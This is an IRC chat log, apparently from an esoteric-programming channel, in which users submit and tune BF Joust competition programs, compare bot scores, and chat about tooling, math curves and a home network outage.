03:21:37 <EgoBot> Score for quintopia_space_elevator: 57.8
03:21:46 <quintopia> wow
03:22:21 <Gregor> THat's an improvement, I shook up the hill.
03:22:23 <Gregor> You were at 57.7
03:24:55 <quintopia> Gregor: is that two pipes as a pause? :P
03:25:24 <Gregor> quintopia: I made the opponent for all the examples be >(+)*64>(-)*64(>+>-)*3(>[-])*21
03:25:31 <Gregor> It's just enough to bring out behavior in almost everything.
03:25:40 <quintopia> i'm still not beating egodeath, even with smaller offsets :(
03:27:44 <quintopia> seriously though. where does philip come from? is it really just a pun on fill up?
03:30:53 <quintopia> if you pause at a particular frame and get a permalink, does it go ahead and run up to that frame and pause?
03:32:02 <Gregor> quintopia: No, it doesn't permalink on frames, only runs.
03:32:15 <Gregor> And philip is the name. But WHOSE name? :P
03:32:50 <Sgeo> Why is the more well known heart r=1-cos theta?
03:33:20 <Sgeo> I like r = |theta - pi/2| -pi/2 <= theta <= 3pi/2
03:34:04 <coppro> x^2 + (y - (|x|)^(1/2))^2
03:34:15 <coppro> (try it on WA)
03:35:23 <quintopia> Gregor: you have just proved that large decoys are sometimes better than small decoys :P
03:35:38 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
03:36:07 -!- poiuy_qwert has joined.
03:38:18 -!- Ilari has quit (Ping timeout: 245 seconds).
03:38:26 <Sgeo> http://www.wolframalpha.com/input/?i=r+%3D+|theta+-+pi/2|+from+-pi/2+to+3pi/2
03:38:27 <Sgeo> WTF
03:38:39 <Sgeo> Input interpretation says "r from" but graph has theta from
03:40:00 -!- Ilari has joined.
03:41:09 <coppro> Sgeo: not fan honestly
03:41:35 <Sgeo> I'm kind of partial to it since I stumbled on it by accident when I was younger
03:42:05 <quintopia> !bfjoust space_elevator http://sprunge.us/BhhN
03:42:18 <EgoBot> Score for quintopia_space_elevator: 58.0
03:43:12 <coppro> Gregor: can I use the input at the top to run an alternate program?
03:43:41 <Gregor> coppro: http://codu.org/eso/bfjoust/egojsout/
03:44:40 <coppro> awesome
03:44:50 <coppro> Gregor: what happens if you run off the end of your program; are you restarted?
03:45:09 <Gregor> pooppy: Eternal nopping.
03:45:56 <coppro> ok, that's what I thought
03:48:08 <Sgeo> coppro, you have to admit though, 1-cos(theta) sucks worse
03:52:40 <coppro> how does double_tripwire_avoider work? it just seems to run off the end
03:53:17 <quintopia> !bfjoust http://sprunge.us/EFPA
03:53:17 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
03:53:23 <quintopia> !bfjoust space_elevator http://sprunge.us/EFPA
03:53:26 -!- pikhq has quit (Ping timeout: 240 seconds).
03:53:32 -!- pikhq has joined.
03:53:32 <EgoBot> Score for quintopia_space_elevator: 57.6
03:53:49 <quintopia> hmm
03:55:56 <quintopia> !bfjoust space_elevator http://sprunge.us/BhhN
03:56:05 <EgoBot> Score for quintopia_space_elevator: 58.0
03:56:14 <quintopia> coppro: it doesn't if you lay decoys fast enough
03:56:20 <quintopia> (against it)
03:56:32 <coppro> lol
04:05:00 <Gregor> !bfjoust aspartame_philip http://sprunge.us/KTWQ
04:05:07 <EgoBot> Score for Gregor_aspartame_philip: 39.7
04:05:12 <Gregor> ...wtf
04:05:22 <Gregor> Oh, I broke it again X_X
04:05:37 * Sgeo pulls a Phantom_Hoover and fills Gregor with benzene
04:05:37 <Gregor> !bfjoust aspartame_philip http://sprunge.us/RDhU
04:05:53 <EgoBot> Score for Gregor_aspartame_philip: 41.3
04:06:19 <Gregor> !bfjoust aspartame_philip http://sprunge.us/jRVO
04:06:30 <EgoBot> Score for Gregor_aspartame_philip: 41.3
04:06:30 <Gregor> (Trying again ... )
04:06:52 -!- azaq23 has quit (Ping timeout: 264 seconds).
04:06:57 <Gregor> !bfjoust aspartame_philip http://sprunge.us/TOYj
04:07:02 <EgoBot> Score for Gregor_aspartame_philip: 43.5
04:07:05 <Gregor> Hm
04:07:34 <quintopia> whatcha wigglin'?
04:07:43 <Gregor> Just the rush timing.
04:07:56 <Gregor> Slightly slower did better against defend13, but seems to do worse against most other things :P
04:08:07 <Gregor> (Which is unsurprising, but was worth a look)
04:08:22 -!- azaq23 has joined.
04:09:19 <Gregor> OHWAIT, I missed something ...
04:09:45 <Gregor> This will either do better or fail epically
04:09:51 <Gregor> !bfjoust aspartame_philip http://sprunge.us/fBdR
04:09:54 -!- augur has joined.
04:10:04 <EgoBot> Score for Gregor_aspartame_philip: 38.8
04:10:10 <Gregor> Hyuk
04:10:18 <Gregor> !bfjoust aspartame_philip http://sprunge.us/TOYj
04:10:30 <EgoBot> Score for Gregor_aspartame_philip: 43.5
04:11:12 <Gregor> Once more ...
04:11:23 <Gregor> !bfjoust aspartame_philip http://sprunge.us/NCdP
04:11:35 <EgoBot> Score for Gregor_aspartame_philip: 40.4
04:11:37 <Gregor> !bfjoust aspartame_philip http://sprunge.us/TOYj
04:11:43 <Gregor> Hmm hmm hmm.
04:11:45 <EgoBot> Score for Gregor_aspartame_philip: 43.5
04:16:53 <quintopia> inorite?
04:18:11 <quintopia> it's sort of like the way wireless is still doing so damn well somehow, while wireless_frownie slides slowly away
04:18:17 -!- sftp has quit (Remote host closed the connection).
04:20:15 <quintopia> !bfjoust poke http://sprunge.us/feYZ
04:20:23 <EgoBot> Score for quintopia_poke: 45.5
04:20:44 <Gregor> Wow, resubmitting poke?
04:21:13 <quintopia> now it draws with space_elevator XD
04:21:29 <quintopia> space_elevator just dropped 2 points in score
04:28:18 -!- pikhq_ has joined.
04:29:07 -!- pikhq has quit (Ping timeout: 276 seconds).
04:31:09 <quintopia> !bfjoust space_elevator http://sprunge.us/KHTd
04:31:47 <EgoBot> Score for quintopia_space_elevator: 58.9
04:31:53 <quintopia> :D
04:33:29 <Gregor> STOP CHANGING SPACE ELEVATOR X-P
04:33:35 <Gregor> How can I fight it when it changes every two minutes :P
04:33:44 <Gregor> I should make non-suicide resubmissions illegal :P
04:33:54 <Gregor> So you always have to rename and a name always refers to one program.
04:34:04 <Gregor> (Note: I should not do this)
04:38:25 -!- calamari has joined.
04:39:19 -!- Mathnerd314 has quit (Remote host closed the connection).
04:41:18 -!- augur has quit (Read error: Connection reset by peer).
04:41:36 -!- asiekierka has joined.
05:02:46 -!- asiekierka has quit (Read error: Connection reset by peer).
05:18:28 -!- calamari has quit (Quit: Leaving).
05:25:35 <quintopia> Gregor: how to specify tape length in the wiki style permalink? can i just stick a &t=15 in there?
05:25:57 <Gregor> I didn't arrange the template to be able to :P
05:26:00 <Gregor> Gimme a sec, I'll set it up.
05:27:08 -!- pikhq_ has changed nick to pikhq.
05:27:23 <Gregor> OK, you should be able to add |t=15 now.
05:27:37 <Gregor> (|, not &, yay MediaWiki?)
05:34:15 <Sgeo> ....you're using MediaWiki in Codu?
05:34:21 * Sgeo is utterly confused right now
05:34:51 <Sgeo> So, my Systems Analysis and Design professor has background music on her page
05:34:59 <Sgeo> At least she's not the web design professor
05:38:32 <quintopia> Gregor: don't forget to make the template links generated on codu use the t= thing now too.
05:38:56 <Gregor> quintopia: Bleh :P
05:45:36 <quintopia> Gregor: p works too?
05:45:57 <Gregor> quintopia: Oh come on, do you honestly need to quicklink to different polarities? X-P
05:46:05 <Gregor> For the time being, just use |t=whatever&p
05:46:06 <quintopia> Gregor: yes
05:46:10 <quintopia> oh okay
05:46:16 <Gregor> It's actually a bit of a pain to work that one out ...
05:47:45 -!- VastOne has joined.
05:47:59 <VastOne> test
05:48:09 <Sgeo> F++
05:48:45 -!- pikhq has quit (Ping timeout: 240 seconds).
05:48:50 -!- pikhq has joined.
05:49:05 <Sgeo> Ping of death?
05:49:23 <pikhq> Seems that this router just goes "Fuck you, I'm going to drop all connections" every now and then.
05:49:25 <VastOne> me Sgeo?
05:49:39 <pikhq> Induced depending on load.
05:49:51 * pikhq suspects a damned shitty NAT implementation.
05:49:59 <pikhq> Sgeo: What about it?
05:50:14 <Sgeo> pikhq, just that you pinged out and I wanted to make a joke, is all
05:50:33 <Sgeo> Convert the world to IPv6 so you don't have to deal with crappy NAT
05:50:49 <pikhq> I'm afraid my ISP is moronic.
05:50:51 <pikhq> Like most are.
05:51:02 <VastOne> Arnt they all?
05:51:09 <pikhq> Though I *do* have an IPv6 tunnel, that ends up going through crappy NAT as well.
05:53:13 -!- VastOne has left (?).
05:57:34 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
05:58:02 -!- poiuy_qwert has joined.
05:59:49 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/GaFK
06:00:32 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 48.1
06:00:45 <Gregor> Why hallo thar
06:02:07 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/XGNV
06:02:23 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 47.0
06:02:36 <Gregor> Yeah, didn't think that'd be better.
06:03:13 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/JfLW
06:03:29 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 48.7
06:04:40 <quintopia> that's the best FFBG you've fielded, innit?
06:07:44 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/RjSA
06:07:56 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 48.7
06:07:59 <Gregor> I've only used FFBG for wildly-experimental things, nothing has worked before :P
06:09:16 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/bQDh
06:09:23 <Gregor> (Probably not better)
06:09:33 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 48.7
06:10:05 <Sgeo> Since when does BF Joust accept Perl? Or is it just a polygot?
06:10:15 <Sgeo> Or worse, not actually Perl kin any way
06:10:32 <Gregor> It's a polyglot.
06:11:57 * Sgeo sees i now
06:12:00 <Sgeo> it too
06:12:09 <Sgeo> I am not an it, prior statements to the contrary.
06:12:37 <Sgeo> I think I forgot a notwithstanding
06:12:51 <pikhq> And it appears to be the Perl code that generates the BF Joust program. :)
06:13:18 -!- azaq23 has quit (Quit: Leaving.).
06:13:19 <Sgeo> I don't think I want to imagine myself drunk
06:13:38 <pikhq> In addition to being a minorly cheating quine. :P
06:14:26 <Gregor> pikhq: It's only a pseudoquine, that's just for convenience.
06:14:40 <Gregor> Also, it's a MAJORLY cheating quine if I called it a quine :P
06:15:31 <pikhq> Gregor: Okay, okay, so "just reading the entire code in and printing it out" is a more major cheat.
06:17:01 <Sgeo> If I were drunk, I don't know if I'd be more of a "makes stupid jokes" person or a "kills everyone in sight" person
06:18:27 <pikhq> Sgeo: If it makes you feel better, getting drunk is kinda the province of the stupid.
06:18:38 <pikhq> ... Province? Odd word choice there.
06:18:43 <pikhq> Maybe I should sleep.
06:42:12 -!- aloril has quit (Ping timeout: 240 seconds).
06:48:10 -!- pikhq_ has joined.
06:48:48 -!- pikhq has quit (Ping timeout: 276 seconds).
06:51:40 <quintopia> Gregor: oicwutudidthar. you're doing what i did except more efficiently :P
06:51:56 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
06:52:01 <Gregor> Stealing is the sincerest form of flattery ;)
06:56:22 -!- aloril has joined.
06:56:28 <Gregor> I've still got more up my sleeve, if I don't decide I need to sleep first.
06:57:06 -!- poiuy_qwert has joined.
06:57:44 <Gregor> Naw, sleep first.
06:57:48 <quintopia> hmmm is what say to you good sir
06:57:52 <quintopia> i should sleep also :/
07:07:59 <quintopia> !bfjoust space_elevator http://sprunge.us/eagG
07:12:02 -!- FireFly has joined.
07:15:44 <EgoBot> Score for quintopia_space_elevator: 56.7
07:16:39 <quintopia> that was not an improve
07:28:22 -!- fizzie has quit (Read error: Operation timed out).
07:28:27 -!- fizzie has joined.
07:31:20 <fizzie> Gregor: Heh, your furry_furry_bondage_girls fails with cranklance with a "parse error: bad char after (): ;" due to "my ($fh, $line, $i, $j);" -- it does prune out (..)*0 comments, but only in a later stage; the count is read immediately after ). Maybe I should make it just treat ") followed by garbage" as ")*0".
07:34:41 -!- poiuy_qwert has quit (Ping timeout: 250 seconds).
07:35:23 -!- poiuy_qwert has joined.
07:38:42 <quintopia> !bfjoust space_elevator http://sprunge.us/ZXWS
07:39:30 <EgoBot> Score for quintopia_space_elevator: 55.3
07:43:48 <quintopia> oic
07:48:55 <quintopia> !bfjoust space_elevator http://sprunge.us/dJBH
07:49:05 -!- pikhq_ has quit (Remote host closed the connection).
07:49:25 -!- pikhq has joined.
07:52:23 <fizzie> http://zem.fi/~fis/dpoints15.png → http://zem.fi/~fis/cycles15.png where the latter shows (in log10 scale) the average number of cycles simulated in a particular game (all the way up to pure red = 10^5).
07:52:43 <fizzie> Not sure how useful that is, but at least definder2 stands out.
07:53:51 <quintopia> yes. definder2 is p much guaranteed to take forever when it's working.
07:55:09 <EgoBot> Score for quintopia_space_elevator: 55.4
07:55:19 <quintopia> ha
07:58:54 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+>-(>[-([+{[(+)*8[-].[.+]]}])%3])*21
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:01:33 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+>-(>[-([+{[(+)*8[-].[.+]]}])%3])*21
08:05:37 <quintopia> !bfjoust space_elevator http://sprunge.us/SOaH
08:08:50 <quintopia> Deewiant: why did you submit the same identical program twice?
08:08:59 <Deewiant> Because breakdown.txt wasn't being generated
08:09:22 <quintopia> so you assumed it wasn't working?
08:09:26 <Deewiant> Yep
08:09:40 <quintopia> waiting usually works for me
08:10:16 <Deewiant> Nothing at all in almost three minutes made it seem unlikely
08:10:31 <Deewiant> The .bfjoust did go up, but breakdown wasn't even emptied
08:11:56 <EgoBot> Score for quintopia_space_elevator: 54.7
08:11:56 <EgoBot> Score for Deewiant_pendolino: 51.5
08:11:57 <EgoBot> Score for Deewiant_pendolino: 51.5
08:12:18 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
08:12:43 <EgoBot> Score for Deewiant_pendolino: 53.3
08:14:17 <fizzie> Also match lengths over all 68880 program/tape-length/polarity configurations: http://zem.fi/~fis/cycleh15.png (histogram in log-scale)
08:14:54 <quintopia> every change i make just makes it worse :P
08:15:25 <fizzie> Maybe I should try a logarithmically-spaced-bins histogram, but I don't see an option for that.
08:16:55 <quintopia> fizzie: is that spike at 60000 due to definder?
08:17:30 <Deewiant> I suspect it's sloth
08:17:33 <fizzie> Well, http://zem.fi/~fis/cycleh15b.png with X axis in log-scale by just applying log to the data.
08:23:07 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*10(>[-([+{[(+)*8[-.].[.+]]}])%3])*10>[-([+{[(+)*8[-].[.+]]}])%3]
08:23:17 <EgoBot> Score for Deewiant_pendolino: 49.6
08:24:42 <fizzie> Yes, it's mostly due to sloth.
08:25:18 <fizzie> http://p.zem.fi/1k46 ← number of matches in the [50000, 70000] range for everyone.
08:26:39 <Deewiant> !bfjoust -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3]+)*21
08:26:39 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
08:26:45 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3]+)*21
08:26:50 <EgoBot> Score for Deewiant_pendolino: 50.9
08:36:14 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
08:36:23 <EgoBot> Score for Deewiant_pendolino: 53.3
08:41:23 <quintopia> prepare for suck
08:41:30 <quintopia> !bfjoust space_elevator http://sprunge.us/OEIj
08:41:41 <EgoBot> Score for quintopia_space_elevator: 53.7
08:47:11 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12<(-)*30<(-)*30<(+)*30<(+)*30(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
08:47:30 <EgoBot> Score for Deewiant_pendolino: 52.2
08:48:01 <Deewiant> !bfjoust pendolino -(>)*6(-)*12<(+)*12<(-)*30<(-)*30<(+)*30<(+)*30(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
08:48:06 <EgoBot> Score for Deewiant_pendolino: 52.2
08:48:23 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12<(+)*30<(-)*30<(-)*30<(+)*30(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
08:48:29 <EgoBot> Score for Deewiant_pendolino: 53.3
08:48:57 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
08:49:17 <EgoBot> Score for Deewiant_pendolino: 53.3
08:52:51 <quintopia> !bfjoust space_elevator http://sprunge.us/KHTd
08:53:01 <EgoBot> Score for quintopia_space_elevator: 56.7
08:58:25 -!- GreaseMonkey has quit (Quit: The Other Game).
09:08:13 <fizzie> http://zem.fi/~fis/clust15.png → http://zem.fi/~fis/clust15b.png if you just flip the input from the score table to the cycle-count table.
09:09:09 -!- MigoMipo has joined.
09:11:29 <fizzie> (And http://zem.fi/~fis/clust15c.png if you multiply them. :p )
09:12:08 -!- poiuy_qwert has quit (Ping timeout: 250 seconds).
09:13:56 -!- Leonidas has quit (Read error: Operation timed out).
09:14:01 -!- Leonidas has joined.
09:17:00 -!- poiuy_qwert has joined.
09:20:50 -!- Leonidas has quit (Ping timeout: 276 seconds).
09:21:09 -!- Leonidas has joined.
09:43:21 -!- MigoMipo has quit (Remote host closed the connection).
10:15:55 -!- Tritonio has joined.
10:26:47 -!- Tritonio has quit (Quit: Leaving).
10:29:15 -!- ais523 has joined.
10:32:12 -!- cheater99 has joined.
10:33:36 -!- cheater99 has quit (Client Quit).
10:33:53 -!- cheater99 has joined.
10:36:20 -!- cheater99 has quit (Client Quit).
10:36:35 -!- cheater99 has joined.
10:46:37 -!- cheater99 has quit (Ping timeout: 240 seconds).
10:47:30 -!- cheater99 has joined.
10:56:44 -!- cheater00 has joined.
10:57:01 -!- cheater99 has quit (Ping timeout: 240 seconds).
11:11:48 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:13:22 -!- cheater00 has joined.
11:41:16 -!- FireFly has quit (Quit: swatted to death).
12:08:08 -!- variable has quit (Read error: Connection reset by peer).
12:09:34 -!- variable has joined.
12:28:07 -!- pikhq_ has joined.
12:28:35 -!- pikhq has quit (Ping timeout: 276 seconds).
12:29:17 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
12:52:33 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
13:06:36 -!- roconnor has quit (Remote host closed the connection).
13:08:18 <Gregor> <fizzie> Gregor: Heh, your furry_furry_bondage_girls fails with cranklance with a "parse error: bad char after (): ;" due to "my ($fh, $line, $i, $j);" -- it does prune out (..)*0 comments, but only in a later stage; the count is read immediately after ). Maybe I should make it just treat ") followed by garbage" as ")*0".
13:08:36 <Gregor> fizzie: I was considering requesting a spec change to allow proper comments, since I also had to do stupid crap like:
13:08:39 <Gregor> #(
13:08:43 <Gregor> if (...) { ... }
13:08:44 <Gregor> #)%0
13:10:09 <Gregor> In fact,
13:11:51 <Gregor> ais523, elliott: Real nested comments. I want them. Any suggestions? I was thinking maybe a "bare" {} (outside of any ()s) would be considered a comment, since we're running out of pairable characters :P
13:12:40 <ais523> (comment (nested comment)*0 more comment)*0
13:13:05 <ais523> what you mean is, you want comments that allow arbitrary characters inside
13:13:23 <Gregor> ais523: Yes. See furry_furry_bondage_girls. It is a polyglot. It would be good to allow such honesty easily.
13:15:21 <ais523> you found a program befitting the name?
13:15:36 <Gregor> Sure, why not :P
13:17:27 <ais523> ah, it's a turtle?
13:17:34 <ais523> just with a crazy decoy setup?
13:17:38 <Gregor> It's just a cleverer philip.
13:17:55 <Gregor> (And a philip is just a turtle with some small-decoy avoidance)
13:18:15 <Gregor> I've got more up my sleeve, but that's for later.
13:18:24 <ais523> I was just verifying that definder2 won the way it was meant to against it, and it does
13:19:41 <Gregor> Anyway, any thoughts on comments :P
13:20:06 <Gregor> I know you generate some programs, and IM(Not-at-all)HO, it would be good for anybody who used code generators to present them as part of their solution.
13:21:31 <ais523> I don't generally use them for the whole thing
13:21:54 <ais523> I just use them in order to generate things like complex lock patterns
13:22:01 <Gregor> Mmmmmmm
13:22:06 <ais523> definder and definder2 were generated via the same program, for instance
13:22:10 <Gregor> Even so :P
13:22:11 <ais523> even though they have basically no code in common
13:22:36 <Gregor> Even so, an arbitrary comment would allow you (encourage you?) to include the relevant code in the relevant part.
13:22:47 <Gregor> (If not be a polyglot pseudoquine :P )
13:24:17 <ais523> sometimes the generation backfires horribly, like with defend9
13:24:21 <ais523> I've thought up a new strategy, anyway
13:27:57 -!- poiuy_qwert has joined.
13:32:55 -!- ais523_ has joined.
13:36:51 -!- FireFly has joined.
13:44:07 -!- miekko has changed nick to Zwaarddijk.
13:44:56 -!- cheater00 has quit (Ping timeout: 240 seconds).
13:47:49 -!- cheater00 has joined.
13:48:35 -!- Phantom_Hoover has joined.
13:48:39 -!- pikhq has joined.
13:49:01 -!- pikhq_ has quit (Ping timeout: 255 seconds).
13:49:41 -!- Sgeo_ has joined.
13:49:59 <Phantom_Hoover> What are the haps my friends
13:52:31 -!- Sgeo has quit (Ping timeout: 240 seconds).
14:16:55 <ais523_> Phantom_Hoover: we're busy documenting BF Joust strategies on the wiki
14:17:00 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
14:17:03 <Phantom_Hoover> O god
14:31:22 <ais523_> why is decoytuner in the notable programs section? surely it was never at the top of the hill, given how bad it is?
14:31:27 <ais523_> decoytuner/2/ I can believe
14:33:21 <Phantom_Hoover> Great, this connection has slowed to a halt for no apparent reason.
14:33:31 <Phantom_Hoover> I can't get HTTP connections to *anything*.
14:33:47 <Phantom_Hoover> fungot, wait, does IRC still work?
14:33:48 <fungot> Phantom_Hoover: a role or position to which the player
14:34:35 <Phantom_Hoover> I can't get through to elliott's logs, which is highly distressing because there's nothing actually there.
14:34:40 <Phantom_Hoover> Hmm, maybe the DNS is down.
14:35:13 <Phantom_Hoover> Nope.
14:35:49 <Phantom_Hoover> pings to Google still go through, with times of ~50ms, which isn't strikingly long.
14:36:39 <Phantom_Hoover> ^style
14:36:40 <fungot> Available: agora* alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube
14:36:44 <Phantom_Hoover> ^style youtube
14:36:44 <fungot> Selected style: youtube (Some YouTube comments)
14:37:03 <Phantom_Hoover> fungot, are you any good as a YouTube substitute?
14:37:04 <fungot> Phantom_Hoover: it doesn't mean they do! lol he was a discussion between those who speak a different way he could make a fly by
14:38:19 <Phantom_Hoover> "Packet filtered".
14:38:26 <Phantom_Hoover> Someone tell me what that means.
14:38:53 <fizzie> Sounds context-dependent.
14:39:03 <Phantom_Hoover> It was in a ping to irc.freenode.net.
14:39:22 <Phantom_Hoover> "From corv-car1-gw.nero.net (207.98.64.177) icmp_seq=1 Packet filtered"
14:40:52 <fizzie> Hm. Maybe it prints that when the other end sends one of the weirder ICMP status codes, the "administratively prohibited" ones or so.
14:42:17 <Phantom_Hoover> I can't make another connection to Freenode through XChat, either.
14:43:18 <fizzie> That's weird; they have billion servers, after all.
14:43:29 <fizzie> PING 140.211.166.3 (140.211.166.3) 56(84) bytes of data.
14:43:29 <fizzie> From 207.98.64.177 icmp_seq=2 Packet filtered
14:43:34 <fizzie> I get that too from one of them.
14:43:40 <Phantom_Hoover> Hmm, OK.
14:43:47 <Phantom_Hoover> But I still can't connect to anything.
14:44:07 <Phantom_Hoover> Pinging them works fine, but actually trying to do something inevitably fails.
14:45:03 <Phantom_Hoover> It happened suddenly, too; the connection worked fine for a while, then suddenly cut out.
14:45:43 <Phantom_Hoover> Plan B: see if this is happening at the router.
14:46:49 <Phantom_Hoover> ...or not, because it seems to be both modem and router.
14:51:34 -!- augur has joined.
14:51:47 <Phantom_Hoover> nmap says everything is down as well.
15:00:19 <ais523_> I've had the "existing IRC connections work but nothing else does" problem before now, too
15:01:16 <Phantom_Hoover> How did it resolve?
15:01:33 <Phantom_Hoover> And any way to see where it's going weird?
15:01:54 * Phantom_Hoover traceroutes.
15:03:00 -!- pikhq has quit (Ping timeout: 240 seconds).
15:03:04 -!- pikhq has joined.
15:03:46 <Phantom_Hoover> It seems to be able to get straight through to Google without a hitch, but very slowly.
15:05:17 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
15:15:33 -!- ais523_ has quit (Quit: Page closed).
15:16:31 -!- sftp has joined.
15:16:56 <Phantom_Hoover> Uh-oh.
15:17:10 <Phantom_Hoover> `echo echo
15:17:16 <Phantom_Hoover> fungot, hello?
15:17:17 <fungot> Phantom_Hoover: nah theres australia mmmmmmmmate!!!! causes hallucinations, and you didn't reply directly to you kz 2!
15:17:32 <Phantom_Hoover> Thought I had lost this connection as well for a moment...
15:17:38 <HackEgo> echo
15:27:58 <ais523> Phantom_Hoover: you're still here
15:32:41 <Phantom_Hoover> I know.
15:32:54 <Phantom_Hoover> Ah, it fixed itself.
15:36:54 -!- azaq23 has joined.
15:43:13 -!- augur has quit (Remote host closed the connection).
15:52:01 -!- MigoMipo has joined.
15:54:36 -!- BeholdMyGlory has joined.
15:59:09 <Phantom_Hoover> http://i.min.us/il4KQQ.jpg
15:59:19 <Phantom_Hoover> I don't think this person realises that this already exists and it's hideous.
16:16:29 <Gregor> $ du -h furry_furry_dominance_girls.bfjoust
16:16:29 <Gregor> 71Mfurry_furry_dominance_girls.bfjoust
16:16:32 <Gregor> Hahawhoops
16:20:40 -!- Behold has joined.
16:23:37 <ais523> that could take a while to run
16:23:40 <ais523> even in lance
16:23:57 -!- BeholdMyGlory has quit (Ping timeout: 250 seconds).
16:24:12 <ais523> what do you think of [[e:BF Joust strategies]] now, btw?
16:24:19 <ais523> umm, http://esolangs.org/wiki/BF_Joust_strategies
16:24:25 <ais523> messed up my text replace there
16:28:23 -!- pikhq has quit (Ping timeout: 240 seconds).
16:28:43 -!- pikhq has joined.
16:29:22 <Phantom_Hoover> Wait, what/
16:29:27 <Phantom_Hoover> *?
16:30:27 <Gregor> We should set a size limit :P
16:30:29 <Gregor> Maybe 640K
16:30:53 <ais523> some programs need to go exponential to really work properly
16:30:58 <ais523> I like the idea of a size limit, though
16:31:23 <ais523> to force people to write at least vaguely Brainfucky code rather than just using [] as if and unrolling all control structures into a sequence of ifs
16:32:25 <Gregor> Yeah, exactly.
16:32:29 <Gregor> Preventing exactly what I just did :P
16:32:34 <Gregor> I can only unroll to depth 1 now.
16:33:02 <Gregor> (depth 1 is still superuseful though)
16:33:16 <Gregor> (Or would be if I didn't have an off-by-two(wtf) error)
16:34:24 <ais523> I unrolled let_sleeping_tripwires_lie to level 4 by hand, I think
16:36:23 <Gregor> Hahaha, watching full-tape clear to the finish would be soooo boring :P
16:36:47 <Gregor> (On any longer length)
16:37:52 <ais523> and incredibly CPU-intensive, too
16:38:09 <ais523> that's why I shortened the tape length for the defend7 example, as it uses a full-tape clear too
16:38:16 <Gregor> Oh cool, there are descriptions now.
16:38:28 <ais523> I added descriptions for my own programs
16:38:33 <ais523> because I knew what they did
16:39:03 <Gregor> That is a sensible reason :P
16:39:08 <Gregor> I should add descriptions for mine I suppose.
16:39:27 <Gregor> defend7 at this tape length is very elucidating.
16:39:53 <cheater00> look what digging up my browser history brought
16:40:00 <cheater00> an old paste with vagrant on it
16:50:21 <Gregor> I should adjust EgoJSout so that the parser function yields :P
16:52:35 <ais523> ah, is that what causes the freeze just after loading a large program, before running it?
16:56:30 -!- augur has joined.
16:56:47 -!- Sgeo has joined.
16:58:28 -!- pikhq_ has joined.
16:58:40 -!- pikhq has quit (Ping timeout: 260 seconds).
17:09:43 <ais523> wow defend9 is buggy, in all sorts of ways
17:09:48 <ais523> I only noticed checking it in egojsout
17:10:01 <ais523> but the detection is all screwed up
17:10:17 <ais523> I should definitely make a remake of it
17:16:49 <ais523> it detects simple, modified to be three-cycle, with the wrong polarity
17:20:11 <Gregor> Aren't'cha glad egojsout exists ^^
17:20:16 <Gregor> Although it's kinda borken right now :P
17:27:50 <Gregor> And now it's fixed, and you'll never know how it was broken.
17:31:35 -!- yorick has quit (*.net *.split).
17:31:35 -!- shachaf has quit (*.net *.split).
17:31:36 -!- aloril has quit (*.net *.split).
17:31:36 -!- rodgort has quit (*.net *.split).
17:31:36 -!- Zwaarddijk has quit (*.net *.split).
17:31:36 -!- Behold has quit (*.net *.split).
17:31:36 -!- variable has quit (*.net *.split).
17:31:37 -!- dbc has quit (*.net *.split).
17:31:38 -!- SimonRC has quit (*.net *.split).
17:31:38 -!- Deewiant has quit (*.net *.split).
17:31:38 -!- mtve has quit (*.net *.split).
17:31:38 -!- coppro has quit (*.net *.split).
17:31:39 -!- ais523 has quit (*.net *.split).
17:31:39 -!- ineiros has quit (*.net *.split).
17:31:39 -!- Phantom_Hoover has quit (*.net *.split).
17:31:40 -!- cal153 has quit (*.net *.split).
17:31:40 -!- sebbu has quit (*.net *.split).
17:31:40 -!- Mannerisky has quit (*.net *.split).
17:36:15 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/XeXB
17:36:53 <Gregor> Oh shoot, screwed it up :P
